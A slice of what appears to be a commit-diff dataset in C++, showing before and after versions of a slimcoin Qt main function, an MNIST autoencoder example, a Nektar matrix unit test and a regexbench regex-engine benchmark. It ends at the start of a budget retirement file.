if(GetBoolArg(\"-min\"))\n {\n window.showMinimized();\n }\n else\n {\n window.show();\n }\n\n \/\/ Place this here as guiref has to be defined if we dont want to lose URIs\n ipcInit();\n\n#if !defined(MAC_OSX) && !defined(WIN32)\n\/\/ TODO: implement qtipcserver.cpp for Mac and Windows\n\n \/\/ Check for URI in argv\n for(int i = 1; i < argc; i++)\n {\n if(strlen(argv[i]) > 8 && strncasecmp(argv[i], \"slimcoin:\", 9) == 0)\n {\n const char *strURI = argv[i];\n try {\n boost::interprocess::message_queue mq(boost::interprocess::open_only, BITCOINURI_QUEUE_NAME);\n mq.try_send(strURI, strlen(strURI), 0);\n }\n catch (boost::interprocess::interprocess_exception &ex) {\n }\n }\n }\n#endif\n app.exec();\n\n window.hide();\n window.setClientModel(0);\n window.setWalletModel(0);\n guiref = 0;\n clientmodel = 0;\n walletmodel = 0;\n }\n \/\/ Shutdown the core and it's threads, but don't exit Bitcoin-Qt here\n Shutdown(NULL);\n }\n else\n {\n return 1;\n }\n } catch (std::exception& e) {\n handleRunawayException(&e);\n } catch (...) {\n handleRunawayException(NULL);\n }\n return 0;\n}\n#endif \/\/ BITCOIN_QT_TEST\n<|endoftext|>"} {"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright (c) 2014-2017 Baptiste Wicht\n\/\/ Distributed under the terms of the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/ http:\/\/opensource.org\/licenses\/MIT)\n\/\/=======================================================================\n\n#include \"dll\/neural\/dense_layer.hpp\"\n#include \"dll\/test.hpp\"\n#include \"dll\/network.hpp\"\n\n#include \"mnist\/mnist_reader.hpp\"\n#include \"mnist\/mnist_utils.hpp\"\n\nint main(int \/*argc*\/, char* \/*argv*\/ []) {\n \/\/ Load the dataset\n auto dataset = mnist::read_dataset_direct<std::vector, etl::fast_dyn_matrix<float, 28 * 28>>();\n\n \/\/ Build the network\n\n using network_t = dll::dyn_network_desc<\n dll::network_layers<\n dll::dense_desc<28 * 28, 32, dll::relu>::layer_t,\n dll::dense_desc<32, 28 * 28, dll::sigmoid>::layer_t\n >\n , dll::batch_size<256> \/\/ The mini-batch size\n , dll::shuffle \/\/ Shuffle the dataset before each epoch\n , dll::binary_cross_entropy \/\/ Use a Binary Cross Entropy Loss\n , dll::scale_pre<255> \/\/ Scale the images (divide by 255)\n , dll::autoencoder \/\/ Indicate auto-encoder\n , dll::adadelta \/\/ Adadelta updates for gradient descent\n >::network_t;\n\n auto net = std::make_unique<network_t>();\n\n \/\/ Display the network\n net->display();\n\n \/\/ Train the network as auto-encoder\n net->fine_tune_ae(dataset.training_images, 50);\n\n \/\/ Test the network on test set\n net->evaluate_ae(dataset.test_images);\n\n return 0;\n}\n<commit_msg>Use the new utilities<commit_after>\/\/=======================================================================\n\/\/ Copyright (c) 2014-2017 Baptiste Wicht\n\/\/ Distributed under the terms of the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/ http:\/\/opensource.org\/licenses\/MIT)\n\/\/=======================================================================\n\n#include \"dll\/neural\/dense_layer.hpp\"\n#include \"dll\/test.hpp\"\n#include \"dll\/network.hpp\"\n#include \"dll\/datasets.hpp\"\n\n#include \"mnist\/mnist_reader.hpp\"\n#include \"mnist\/mnist_utils.hpp\"\n\nint main(int \/*argc*\/, char* \/*argv*\/ []) {\n \/\/ Load the dataset\n auto dataset = dll::make_mnist_ae_dataset(0, dll::batch_size<256>{}, dll::scale_pre<255>{});\n\n \/\/ Build the network\n\n using network_t = dll::dyn_network_desc<\n dll::network_layers<\n dll::dense_desc<28 * 28, 32, dll::relu>::layer_t,\n dll::dense_desc<32, 28 * 28, dll::sigmoid>::layer_t\n >\n , dll::batch_size<256> \/\/ The mini-batch size\n , dll::shuffle \/\/ Shuffle the dataset before each epoch\n , dll::binary_cross_entropy \/\/ Use a Binary Cross Entropy Loss\n , dll::adadelta \/\/ Adadelta updates for gradient descent\n >::network_t;\n\n auto net = std::make_unique<network_t>();\n\n \/\/ Display the network\n net->display();\n\n \/\/ Train the network as auto-encoder\n net->fine_tune_ae(dataset.train(), 50);\n\n \/\/ Test the network on test set\n net->evaluate_ae(dataset.test());\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ For more information, please see: http:\/\/www.nektar.info\n\/\/\n\/\/ The MIT License\n\/\/\n\/\/ Copyright (c) 2006 Division of Applied Mathematics, Brown University (USA),\n\/\/ Department of Aeronautics, Imperial College London (UK), and Scientific\n\/\/ Computing and Imaging Institute, University of Utah (USA).\n\/\/\n\/\/ License for the specific language governing rights and limitations under\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a\n\/\/ copy of this software and associated documentation files (the \"Software\"),\n\/\/ to deal in the Software without restriction, including without limitation\n\/\/ the rights to use, copy, modify, merge, publish, distribute, sublicense,\n\/\/ and\/or sell copies of the Software, and to permit persons to whom the\n\/\/ Software is furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included\n\/\/ in all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n\/\/ OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n\/\/ THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n\/\/ DEALINGS IN THE SOFTWARE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#ifndef NEKTAR_USE_EXPRESSION_TEMPLATES\n#define NEKTAR_USE_EXPRESSION_TEMPLATES\n#endif \/\/NEKTAR_USE_EXPRESSION_TEMPLATES\n\n#include <boost\/test\/auto_unit_test.hpp>\n#include <boost\/test\/test_case_template.hpp>\n#include <boost\/test\/floating_point_comparison.hpp>\n#include <boost\/test\/unit_test.hpp>\n\n#include <LibUtilities\/LinearAlgebra\/NekTypeDefs.hpp>\n#include <UnitTests\/LibUtilities\/ExpressionTemplates\/CountedObjectExpression.h>\n#include <LibUtilities\/LinearAlgebra\/NekMatrix.hpp>\n#include <ExpressionTemplates\/Node.hpp>\n#include <ExpressionTemplates\/RemoveAllUnecessaryTemporaries.hpp>\n#include <boost\/mpl\/assert.hpp>\n#include <boost\/type_traits.hpp>\n#include <LibUtilities\/LinearAlgebra\/MatrixSize.hpp>\n\n\/\/ Tests the error in CoupledLinearNS.cpp:963\n\/\/ DNekScalBlkMatSharedPtr m_Cinv; \n\/\/ NekVector< NekDouble > F_int\n\/\/ DNekScalBlkMatSharedPtr m_D_int; \n\/\/ NekVector< NekDouble > F_p\n\/\/ DNekScalBlkMatSharedPtr m_Btilde;\n\/\/ NekVector< NekDouble > F_bnd\n\/\/ F_int = (*m_Cinv)*(F_int + Transpose(*m_D_int)*F_p - Transpose(*m_Btilde)*F_bnd);\n\nnamespace Nektar\n{\n namespace UnitTests\n {\n \/\/ Start my testing individual portions to help isolate the problem.\n BOOST_AUTO_TEST_CASE(TestScalBlkMatTimeVector)\n {\n \/\/ 2x2 block matrix, with submatrices also 2x2\n double data_buf[] = {1, 2, 3, 4};\n DNekMatSharedPtr m0(new DNekMat(2,2, data_buf));\n DNekMatSharedPtr m1(new DNekMat(2,2, data_buf));\n DNekMatSharedPtr m2(new DNekMat(2,2, data_buf));\n DNekMatSharedPtr m3(new DNekMat(2,2, data_buf));\n\n DNekScalMatSharedPtr s0(new DNekScalMat(2.0, m0));\n DNekScalMatSharedPtr s1(new DNekScalMat(3.0, m1));\n DNekScalMatSharedPtr s2(new DNekScalMat(4.0, m2));\n DNekScalMatSharedPtr s3(new DNekScalMat(5.0, m3));\n\n DNekScalBlkMatSharedPtr m(new DNekScalBlkMat(2,2, 2, 2));\n m->SetBlock(0, 0, s0);\n m->SetBlock(0, 1, s1);\n m->SetBlock(1, 0, s2);\n m->SetBlock(1, 1, s3);\n\n double v_buf[] = {1, 2, 3, 4, 5, 6, 7, 8};\n NekVector<NekDouble> v(8, v_buf);\n\n NekVector<NekDouble> result = (*m)*v;\n }\n\n \/\/ The multiplication compiles, so I assume the problem is in a tree transformation.\n BOOST_AUTO_TEST_CASE(TestScaleBlkMatTermWithTransformation)\n {\n double data_buf[] = {1, 2, 3, 4};\n DNekMatSharedPtr m0(new DNekMat(2,2, data_buf));\n DNekMatSharedPtr m1(new DNekMat(2,2, data_buf));\n DNekMatSharedPtr m2(new DNekMat(2,2, data_buf));\n DNekMatSharedPtr m3(new DNekMat(2,2, data_buf));\n\n DNekScalMatSharedPtr s0(new DNekScalMat(2.0, m0));\n DNekScalMatSharedPtr s1(new DNekScalMat(3.0, m1));\n DNekScalMatSharedPtr s2(new DNekScalMat(4.0, m2));\n DNekScalMatSharedPtr s3(new DNekScalMat(5.0, m3));\n\n DNekScalBlkMatSharedPtr m(new DNekScalBlkMat(2,2, 2, 2));\n m->SetBlock(0, 0, s0);\n m->SetBlock(0, 1, s1);\n m->SetBlock(1, 0, s2);\n m->SetBlock(1, 1, s3);\n\n double rhs_buf[] = {1, 2, 3, 4, 5, 6, 7, 8};\n NekVector<NekDouble> rhs(8, rhs_buf);\n\n double lhs_buf[] = {1, 2, 3, 4, 5, 6, 7, 8};\n NekVector<NekDouble> lhs(8, lhs_buf);\n\n NekVector<NekDouble> result = lhs + (*m)*rhs;\n\n DNekMat result2 = (*m)*((*m)*(*m));\n\n \/\/ This fails. It appears that it is a failure of the commutative property\n \/\/ for matrix\/vector multiplication.\n NekVector<NekDouble> result3 = (*m)*(lhs+rhs);\n\n NekVector<NekDouble> result1 = (*m)*(lhs + (*m)*rhs - (*m)*rhs);\n }\n \n }\n}\n<commit_msg><commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ For more information, please see: http:\/\/www.nektar.info\n\/\/\n\/\/ The MIT License\n\/\/\n\/\/ Copyright (c) 2006 Division of Applied Mathematics, Brown University (USA),\n\/\/ Department of Aeronautics, Imperial College London (UK), and Scientific\n\/\/ Computing and Imaging Institute, University of Utah (USA).\n\/\/\n\/\/ License for the specific language governing rights and limitations under\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a\n\/\/ copy of this software and associated documentation files (the \"Software\"),\n\/\/ to deal in the Software without restriction, including without limitation\n\/\/ the rights to use, copy, modify, merge, publish, distribute, sublicense,\n\/\/ and\/or sell copies of the Software, and to permit persons to whom the\n\/\/ Software is furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included\n\/\/ in all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n\/\/ OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n\/\/ THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n\/\/ DEALINGS IN THE SOFTWARE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#ifndef NEKTAR_USE_EXPRESSION_TEMPLATES\n#define NEKTAR_USE_EXPRESSION_TEMPLATES\n#endif \/\/NEKTAR_USE_EXPRESSION_TEMPLATES\n\n#include <boost\/test\/auto_unit_test.hpp>\n#include <boost\/test\/test_case_template.hpp>\n#include <boost\/test\/floating_point_comparison.hpp>\n#include <boost\/test\/unit_test.hpp>\n\n#include <LibUtilities\/LinearAlgebra\/NekTypeDefs.hpp>\n#include <UnitTests\/LibUtilities\/ExpressionTemplates\/CountedObjectExpression.h>\n#include <LibUtilities\/LinearAlgebra\/NekMatrix.hpp>\n#include <ExpressionTemplates\/Node.hpp>\n#include <ExpressionTemplates\/RemoveAllUnecessaryTemporaries.hpp>\n#include <boost\/mpl\/assert.hpp>\n#include <boost\/type_traits.hpp>\n#include <LibUtilities\/LinearAlgebra\/MatrixSize.hpp>\n\n\/\/ Tests the error in CoupledLinearNS.cpp:963\n\/\/ DNekScalBlkMatSharedPtr m_Cinv; \n\/\/ NekVector< NekDouble > F_int\n\/\/ DNekScalBlkMatSharedPtr m_D_int; \n\/\/ NekVector< NekDouble > F_p\n\/\/ DNekScalBlkMatSharedPtr m_Btilde;\n\/\/ NekVector< NekDouble > F_bnd\n\/\/ F_int = (*m_Cinv)*(F_int + Transpose(*m_D_int)*F_p - Transpose(*m_Btilde)*F_bnd);\n\nnamespace Nektar\n{\n namespace UnitTests\n {\n \/\/ Start my testing individual portions to help isolate the problem.\n BOOST_AUTO_TEST_CASE(TestScalBlkMatTimeVector)\n {\n \/\/ 2x2 block matrix, with submatrices also 2x2\n double data_buf[] = {1, 2, 3, 4};\n DNekMatSharedPtr m0(new DNekMat(2,2, data_buf));\n DNekMatSharedPtr m1(new DNekMat(2,2, data_buf));\n DNekMatSharedPtr m2(new DNekMat(2,2, data_buf));\n DNekMatSharedPtr m3(new DNekMat(2,2, data_buf));\n\n DNekScalMatSharedPtr s0(new DNekScalMat(2.0, m0));\n DNekScalMatSharedPtr s1(new DNekScalMat(3.0, m1));\n DNekScalMatSharedPtr s2(new DNekScalMat(4.0, m2));\n DNekScalMatSharedPtr s3(new DNekScalMat(5.0, m3));\n\n DNekScalBlkMatSharedPtr m(new DNekScalBlkMat(2,2, 2, 2));\n m->SetBlock(0, 0, s0);\n m->SetBlock(0, 1, s1);\n m->SetBlock(1, 0, s2);\n m->SetBlock(1, 1, s3);\n\n double v_buf[] = {1, 2, 3, 4, 5, 6, 7, 8};\n NekVector<NekDouble> v(8, v_buf);\n\n NekVector<NekDouble> result = (*m)*v;\n }\n\n \/\/ The multiplication compiles, so I assume the problem is in a tree transformation.\n BOOST_AUTO_TEST_CASE(TestScaleBlkMatTermWithTransformation)\n {\n double data_buf[] = {1, 2, 3, 4};\n DNekMatSharedPtr m0(new DNekMat(2,2, data_buf));\n DNekMatSharedPtr m1(new DNekMat(2,2, data_buf));\n DNekMatSharedPtr m2(new DNekMat(2,2, data_buf));\n DNekMatSharedPtr m3(new DNekMat(2,2, data_buf));\n\n DNekScalMatSharedPtr s0(new DNekScalMat(2.0, m0));\n DNekScalMatSharedPtr s1(new DNekScalMat(3.0, m1));\n DNekScalMatSharedPtr s2(new DNekScalMat(4.0, m2));\n DNekScalMatSharedPtr s3(new DNekScalMat(5.0, m3));\n\n DNekScalBlkMatSharedPtr m(new DNekScalBlkMat(2,2, 2, 2));\n m->SetBlock(0, 0, s0);\n m->SetBlock(0, 1, s1);\n m->SetBlock(1, 0, s2);\n m->SetBlock(1, 1, s3);\n\n double rhs_buf[] = {1, 2, 3, 4};\n NekVector<NekDouble> rhs(4, rhs_buf);\n\n double lhs_buf[] = {1, 2, 3, 4};\n NekVector<NekDouble> lhs(4, lhs_buf);\n\n NekVector<NekDouble> result = lhs + (*m)*rhs;\n\n DNekMat result2 = (*m)*((*m)*(*m));\n\n \/\/ This fails. It appears that it is a failure of the commutative property\n \/\/ for matrix\/vector multiplication.\n NekVector<NekDouble> result3 = (*m)*(lhs+rhs);\n\n NekVector<NekDouble> result1 = (*m)*(lhs + (*m)*rhs - (*m)*rhs);\n }\n \n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include <sys\/resource.h>\n#include <sys\/time.h>\n\n#include <fstream>\n#include <iostream>\n#include <memory>\n#include <string>\n\n#include <boost\/program_options.hpp>\n\n#include \"HyperscanEngine.h\"\n#include \"PcapSource.h\"\n#include \"PCRE2Engine.h\"\n#include \"regexbench.h\"\n#include \"RE2Engine.h\"\n#include \"REmatchEngine.h\"\n#include \"Rule.h\"\n\nnamespace po = boost::program_options;\n\nenum EngineType : uint64_t {\n ENGINE_HYPERSCAN,\n ENGINE_PCRE2,\n ENGINE_PCRE2JIT,\n ENGINE_RE2,\n ENGINE_REMATCH\n};\n\nstruct Arguments {\n std::string rule_file;\n std::string pcap_file;\n EngineType engine;\n int32_t repeat;\n uint32_t pcre2_concat;\n};\n\nstatic bool endsWith(const std::string &, const char *);\nstatic std::vector<regexbench::Rule> loadRules(const std::string &);\nstatic Arguments parse_options(int argc, const char *argv[]);\n\nint main(int argc, const char *argv[]) {\n try {\n auto args = parse_options(argc, argv);\n std::unique_ptr<regexbench::Engine> engine;\n switch (args.engine) {\n case ENGINE_HYPERSCAN:\n engine = std::make_unique<regexbench::HyperscanEngine>();\n engine->compile(loadRules(args.rule_file));\n break;\n case ENGINE_PCRE2:\n engine = std::make_unique<regexbench::PCRE2Engine>();\n if (!args.pcre2_concat)\n engine->compile(loadRules(args.rule_file));\n else {\n auto rules = loadRules(args.rule_file);\n concatRules(rules);\n engine->compile(rules);\n }\n break;\n case ENGINE_PCRE2JIT:\n engine = std::make_unique<regexbench::PCRE2JITEngine>();\n engine->compile(loadRules(args.rule_file));\n break;\n case ENGINE_RE2:\n engine = std::make_unique<regexbench::RE2Engine>();\n engine->compile(loadRules(args.rule_file));\n break;\n case ENGINE_REMATCH:\n if (endsWith(args.rule_file, \".nfa\")) {\n engine = std::make_unique<regexbench::REmatchAutomataEngine>();\n engine->load(args.rule_file);\n } else if (endsWith(args.rule_file, \".so\")) {\n engine = std::make_unique<regexbench::REmatchSOEngine>();\n engine->load(args.rule_file);\n } else {\n engine = std::make_unique<regexbench::REmatchAutomataEngine>();\n engine->compile(loadRules(args.rule_file));\n }\n break;\n }\n\n regexbench::PcapSource pcap(args.pcap_file);\n auto result = match(*engine, pcap, args.repeat);\n std::cout << result.nmatches << \" packets matched.\" << std::endl;\n std::cout << result.udiff.tv_sec << '.';\n std::cout.width(6);\n std::cout.fill('0');\n std::cout << result.udiff.tv_usec << \"s user \" << std::endl;\n std::cout << result.sdiff.tv_sec << '.';\n std::cout.width(6);\n std::cout.fill('0');\n std::cout << result.sdiff.tv_usec << \"s system\" << std::endl;\n struct timeval total;\n timeradd(&result.udiff, &result.sdiff, &total);\n std::cout\n << static_cast<double>(pcap.getNumberOfBytes() *\n static_cast<unsigned long>(args.repeat)) \/\n (total.tv_sec + total.tv_usec * 1e-6) \/ 1000000 * 8\n << \" Mbps\" << std::endl;\n std::cout\n << static_cast<double>(pcap.getNumberOfPackets() *\n static_cast<unsigned long>(args.repeat)) \/\n (total.tv_sec + total.tv_usec * 1e-6) \/ 1000000\n << \" Mpps\" << std::endl;\n } catch (const std::exception &e) {\n std::cerr << e.what() << std::endl;\n return EXIT_FAILURE;\n }\n\n struct rusage stat;\n getrusage(RUSAGE_SELF, &stat);\n std::cout << stat.ru_maxrss \/ 1000 << \" kB\\n\";\n return EXIT_SUCCESS;\n}\n\nbool endsWith(const std::string &obj, const char *end) {\n auto r = obj.rfind(end);\n if ((r != std::string::npos) && (r == obj.size() - std::strlen(end)))\n return true;\n return false;\n}\n\nstatic std::vector<regexbench::Rule> loadRules(const std::string &filename) {\n std::ifstream ruleifs(filename);\n if (!ruleifs) {\n std::cerr << \"cannot open rule file: \" << filename << std::endl;\n std::exit(EXIT_FAILURE);\n }\n return regexbench::loadRules(ruleifs);\n}\n\nArguments parse_options(int argc, const char *argv[]) {\n Arguments args;\n std::string engine;\n\n po::options_description posargs;\n posargs.add_options()(\"rule_file\",\n po::value<std::string>(&args.rule_file),\n \"Rule (regular expression) file name\");\n posargs.add_options()(\"pcap_file\",\n po::value<std::string>(&args.pcap_file),\n \"pcap file name\");\n po::positional_options_description positions;\n positions.add(\"rule_file\", 1).add(\"pcap_file\", 1);\n\n po::options_description optargs(\"Options\");\n optargs.add_options()(\"help,h\", \"Print usage information.\");\n optargs.add_options()(\n \"engine,e\",\n po::value<std::string>(&engine)->default_value(\"hyperscan\"),\n \"Matching engine to run.\");\n optargs.add_options()(\n \"repeat,r\",\n po::value<int32_t>(&args.repeat)->default_value(1),\n \"Repeat pcap multiple times.\");\n optargs.add_options()(\n \"concat,c\",\n po::value<uint32_t>(&args.pcre2_concat)->default_value(0),\n \"Concatenate PCRE2 rules.\");\n\n po::options_description cliargs;\n cliargs.add(posargs).add(optargs);\n po::variables_map vm;\n po::store(po::command_line_parser(argc, argv)\n .options(cliargs)\n .positional(positions)\n .run(),\n vm);\n po::notify(vm);\n\n if (vm.count(\"help\")) {\n std::cout << \"Usage: regexbench <rule_file> <pcap_file>\" << std::endl;\n std::exit(EXIT_SUCCESS);\n }\n if (engine == \"hyperscan\")\n args.engine = ENGINE_HYPERSCAN;\n else if (engine == \"pcre2\")\n args.engine = ENGINE_PCRE2;\n else if (engine == \"pcre2jit\")\n args.engine = ENGINE_PCRE2JIT;\n else if (engine == \"re2\")\n args.engine = ENGINE_RE2;\n else if (engine == \"rematch\")\n args.engine = ENGINE_REMATCH;\n else {\n std::cerr << \"unknown engine: \" << engine << std::endl;\n std::exit(EXIT_FAILURE);\n }\n if (args.repeat <= 0) {\n std::cerr << \"invalid repeat value: \" << args.repeat << std::endl;\n std::exit(EXIT_FAILURE);\n }\n\n if (!vm.count(\"rule_file\")) {\n std::cerr << \"error: no rule file\" << std::endl;\n std::exit(EXIT_FAILURE);\n }\n if (!vm.count(\"pcap_file\")) {\n std::cerr << \"error: no pcap file\" << std::endl;\n std::exit(EXIT_FAILURE);\n }\n return args;\n}\n<commit_msg>Enable rule concatenation for pcre2JIT engine<commit_after>#include <sys\/resource.h>\n#include <sys\/time.h>\n\n#include <fstream>\n#include <iostream>\n#include <memory>\n#include <string>\n\n#include <boost\/program_options.hpp>\n\n#include \"HyperscanEngine.h\"\n#include \"PcapSource.h\"\n#include \"PCRE2Engine.h\"\n#include \"regexbench.h\"\n#include \"RE2Engine.h\"\n#include \"REmatchEngine.h\"\n#include \"Rule.h\"\n\nnamespace po = boost::program_options;\n\nenum EngineType : uint64_t {\n ENGINE_HYPERSCAN,\n ENGINE_PCRE2,\n ENGINE_PCRE2JIT,\n ENGINE_RE2,\n ENGINE_REMATCH\n};\n\nstruct Arguments {\n std::string rule_file;\n std::string pcap_file;\n EngineType engine;\n int32_t repeat;\n uint32_t pcre2_concat;\n};\n\nstatic bool endsWith(const std::string &, const char *);\nstatic std::vector<regexbench::Rule> loadRules(const std::string &);\nstatic Arguments parse_options(int argc, const char *argv[]);\nstatic void compilePCRE2(const Arguments &, std::unique_ptr<regexbench::Engine> &);\n\nint main(int argc, const char *argv[]) {\n try {\n auto args = parse_options(argc, argv);\n std::unique_ptr<regexbench::Engine> engine;\n switch (args.engine) {\n case ENGINE_HYPERSCAN:\n engine = std::make_unique<regexbench::HyperscanEngine>();\n engine->compile(loadRules(args.rule_file));\n break;\n case ENGINE_PCRE2:\n engine = std::make_unique<regexbench::PCRE2Engine>();\n compilePCRE2(args, engine);\n break;\n case ENGINE_PCRE2JIT:\n engine = std::make_unique<regexbench::PCRE2JITEngine>();\n compilePCRE2(args, engine);\n break;\n case ENGINE_RE2:\n engine = std::make_unique<regexbench::RE2Engine>();\n engine->compile(loadRules(args.rule_file));\n break;\n case ENGINE_REMATCH:\n if (endsWith(args.rule_file, \".nfa\")) {\n engine = std::make_unique<regexbench::REmatchAutomataEngine>();\n engine->load(args.rule_file);\n } else if (endsWith(args.rule_file, \".so\")) {\n engine = std::make_unique<regexbench::REmatchSOEngine>();\n engine->load(args.rule_file);\n } else {\n engine = std::make_unique<regexbench::REmatchAutomataEngine>();\n engine->compile(loadRules(args.rule_file));\n }\n break;\n }\n\n regexbench::PcapSource pcap(args.pcap_file);\n auto result = match(*engine, pcap, args.repeat);\n std::cout << result.nmatches << \" packets matched.\" << std::endl;\n std::cout << result.udiff.tv_sec << '.';\n std::cout.width(6);\n std::cout.fill('0');\n std::cout << result.udiff.tv_usec << \"s user \" << std::endl;\n std::cout << result.sdiff.tv_sec << '.';\n std::cout.width(6);\n std::cout.fill('0');\n std::cout << result.sdiff.tv_usec << \"s system\" << std::endl;\n struct timeval total;\n timeradd(&result.udiff, &result.sdiff, &total);\n std::cout\n << static_cast<double>(pcap.getNumberOfBytes() *\n static_cast<unsigned long>(args.repeat)) \/\n (total.tv_sec + total.tv_usec * 1e-6) \/ 1000000 * 8\n << \" Mbps\" << std::endl;\n std::cout\n << static_cast<double>(pcap.getNumberOfPackets() *\n static_cast<unsigned long>(args.repeat)) \/\n (total.tv_sec + total.tv_usec * 1e-6) \/ 1000000\n << \" Mpps\" << std::endl;\n } catch (const std::exception &e) {\n std::cerr << e.what() << std::endl;\n return EXIT_FAILURE;\n }\n\n struct rusage stat;\n getrusage(RUSAGE_SELF, &stat);\n std::cout << stat.ru_maxrss \/ 1000 << \" kB\\n\";\n return EXIT_SUCCESS;\n}\n\nbool endsWith(const std::string &obj, const char *end) {\n auto r = obj.rfind(end);\n if ((r != std::string::npos) && (r == obj.size() - std::strlen(end)))\n return true;\n return false;\n}\n\nstatic std::vector<regexbench::Rule> loadRules(const std::string &filename) {\n std::ifstream ruleifs(filename);\n if (!ruleifs) {\n std::cerr << \"cannot open rule file: \" << filename << std::endl;\n std::exit(EXIT_FAILURE);\n }\n return regexbench::loadRules(ruleifs);\n}\n\nArguments parse_options(int argc, const char *argv[]) {\n Arguments args;\n std::string engine;\n\n po::options_description posargs;\n posargs.add_options()(\"rule_file\",\n po::value<std::string>(&args.rule_file),\n \"Rule (regular expression) file name\");\n posargs.add_options()(\"pcap_file\",\n po::value<std::string>(&args.pcap_file),\n \"pcap file name\");\n po::positional_options_description positions;\n positions.add(\"rule_file\", 1).add(\"pcap_file\", 1);\n\n po::options_description optargs(\"Options\");\n optargs.add_options()(\"help,h\", \"Print usage information.\");\n optargs.add_options()(\n \"engine,e\",\n po::value<std::string>(&engine)->default_value(\"hyperscan\"),\n \"Matching engine to run.\");\n optargs.add_options()(\n \"repeat,r\",\n po::value<int32_t>(&args.repeat)->default_value(1),\n \"Repeat pcap multiple times.\");\n optargs.add_options()(\n \"concat,c\",\n po::value<uint32_t>(&args.pcre2_concat)->default_value(0),\n \"Concatenate PCRE2 rules.\");\n\n po::options_description cliargs;\n cliargs.add(posargs).add(optargs);\n po::variables_map vm;\n po::store(po::command_line_parser(argc, argv)\n .options(cliargs)\n .positional(positions)\n .run(),\n vm);\n po::notify(vm);\n\n if (vm.count(\"help\")) {\n std::cout << \"Usage: regexbench <rule_file> <pcap_file>\" << std::endl;\n std::exit(EXIT_SUCCESS);\n }\n if (engine == \"hyperscan\")\n args.engine = ENGINE_HYPERSCAN;\n else if (engine == \"pcre2\")\n args.engine = ENGINE_PCRE2;\n else if (engine == \"pcre2jit\")\n args.engine = ENGINE_PCRE2JIT;\n else if (engine == \"re2\")\n args.engine = ENGINE_RE2;\n else if (engine == \"rematch\")\n args.engine = ENGINE_REMATCH;\n else {\n std::cerr << \"unknown engine: \" << engine << std::endl;\n std::exit(EXIT_FAILURE);\n }\n if (args.repeat <= 0) {\n std::cerr << \"invalid repeat value: \" << args.repeat << std::endl;\n std::exit(EXIT_FAILURE);\n }\n\n if (!vm.count(\"rule_file\")) {\n std::cerr << \"error: no rule file\" << std::endl;\n std::exit(EXIT_FAILURE);\n }\n if (!vm.count(\"pcap_file\")) {\n std::cerr << \"error: no pcap file\" << std::endl;\n std::exit(EXIT_FAILURE);\n }\n return args;\n}\n\nstatic void compilePCRE2(const Arguments &args,\n std::unique_ptr<regexbench::Engine> &engine) {\n if (!args.pcre2_concat)\n engine->compile(loadRules(args.rule_file));\n else {\n auto rules = loadRules(args.rule_file);\n concatRules(rules);\n engine->compile(rules);\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright (c) 2013-2018 Baptiste Wicht.\n\/\/ Distributed under the terms of the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/ http:\/\/opensource.org\/licenses\/MIT)\n\/\/=======================================================================\n\n#include <iostream>\n\n#include \"retirement.hpp\"\n#include \"assets.hpp\"\n#include \"accounts.hpp\"\n#include \"expenses.hpp\"\n#include \"earnings.hpp\"\n#include \"budget_exception.hpp\"\n#include \"config.hpp\"\n#include \"console.hpp\"\n#include \"writer.hpp\"\n\nusing namespace budget;\n\nnamespace {\n\nconstexpr size_t running_limit = 12;\n\nmoney running_expenses(){\n auto today = 